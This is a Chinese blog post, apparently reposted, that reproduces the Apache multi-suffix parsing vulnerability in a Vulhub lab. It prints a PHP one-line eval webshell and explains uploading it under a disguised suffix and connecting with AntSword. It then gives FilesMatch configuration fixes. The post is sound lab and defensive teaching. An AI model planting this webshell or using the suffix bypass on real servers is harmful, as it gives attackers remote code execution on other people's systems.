0


Apache多后缀解析漏洞复现(apache_parsing_vulnerability)

漏洞原理

apahe解析文件时候有一特性,Apache默认一个文件可以有多个以点分割的后缀,apache会从最右边开始识别其后缀名,如遇无法识别的后缀名则依次往左进行识别
如果运维人员给.php后缀的文件添加了处理程序 AddHandler application/x-httpd-php .php 那么在有多个后缀的情况下,只要文件含有.php后缀那么该文件就会被识别为PHP文件进行解析。
该漏洞和apache版本和php版本无关,属于用户配置不当造成的解析漏洞,

漏洞复现

这里我以Vulhub靶场为例演示

  1. [root@localhost vulhub]# cd httpd/apache_parsing_vulnerability/ # 进入到apache_parsing_vulnerability 多后缀解析漏洞目录
  2. [root@localhost apache_parsing_vulnerability]# docker-compose up -d 拉取镜像之后启动容器
  3. # 注意
  4. 容器没起来可以先看看日志报错
  5. [root@localhost apache_parsing_vulnerability]# docker logs apache_parsing_vulnerability_apache_1
  6. /bin/sh: 0: cannot open /var/www/start.sh: Permission denied
  7. [root@localhost apache_parsing_vulnerability]# setenforce 0 # 关闭selinux之后docker-compose up -d重启容器
  8. [root@localhost apache_parsing_vulnerability]# docker ps -s # 查看正在运行中的容器(容器启动成功)
  9. CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES SIZE
  10. 5c1134637b1f php:apache "docker-php-entryp..." 20 minutes ago Up 5 seconds 0.0.0.0:80->80/tcp apache_parsing_vulnerability_apache_1 2 B (virtual 459 MB)
  11. # 浏览器访问靶场环境
  12. http://10.10.10.133/

此漏洞只允许上传gif、png、jpg、jpeg后缀的文件,所以当上传php文件时会报错

本地创建一个php后缀的一句话木马文件,内容如下:
<?php @eval($_POST['ggbond']);?>
之后上传,并且通过Bp抓取前端数据包,修改文件后缀名如图所示

蚁剑连接

通过蚁剑我们发现webshell成功连接

至于文件上传的路径,我们可以通过抓取数据包将其发送到repeater模块进行查看

漏洞分析

  1. 我们进入容器查看一下配置文件
  2. [root@localhost apache_parsing_vulnerability]# docker exec -it apache_parsing_vulnerability_apache_1 /bin/bash
  3. root@5c1134637b1f:/var/www/html# cd /etc/apache2/conf-available/
  4. root@5c1134637b1f:/etc/apache2/conf-available# ls
  5. charset.conf docker-php.conf localized-error-pages.conf other-vhosts-access-log.conf security.conf serve-cgi-bin.conf
  6. root@5c1134637b1f:/etc/apache2/conf-available# cat docker-php.conf
  7. AddHandler application/x-httpd-php .php
  8. DirectoryIndex disabled
  9. DirectoryIndex index.php index.html
  10. <Directory /var/www/>
  11. Options -Indexes
  12. AllowOverride All
  13. </Directory>

从上面php配置文件可知

AddHandler application/x-httpd-php .php
此命令是并没有进行类似于正则等的安全设置,凡是有带.php后缀的都会将其交给application/x-httpd-php解析程序进行解析

漏洞防御手段

1、通过正则方式来对其进行限制;、在配置文件中添加如下内容,匹配样式为 .php. 的文件并拒绝访问(该漏洞环境配置文件位于漏洞环境目录的 conf/docker-php.conf 生产环境中按照具体情况而定)

  1. <FilesMatch "\.php\.">
  2. require all denied
  3. </FilesMatch>

2、将原本的 AddHandler application/x-httpd-php .php 注释掉,然后利用正则表达式单独为.php的文件添加处理程序

  1. <FilesMatch ".+.php$">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>

小彩蛋

  1. 去阿里云官网的工作台搜索“容器镜像服务”
  2. 加速器地址: https://zw51rs4m.mirror.aliyuncs.com
  3. 配置镜像加速器
  4. 针对Docker客户端版本大于 1.10.0 的用户
  5. 您可以通过修改daemon配置文件/etc/docker/daemon.json来使用加速器
  6. sudo mkdir -p /etc/docker
  7. sudo tee /etc/docker/daemon.json <<-'EOF'
  8. {
  9. "registry-mirrors": ["https://zw51rs4m.mirror.aliyuncs.com"]
  10. }
  11. EOF
  12. sudo systemctl daemon-reload
  13. sudo systemctl restart docker
标签: apache 安全 中间件

本文转载自: https://blog.csdn.net/WJ_11_13/article/details/127309346
版权归原作者 爱吃仡坨 所有, 如有侵权,请联系我们删除。

“Apache多后缀解析漏洞复现(apache_parsing_vulnerability)”的评论:

还没有评论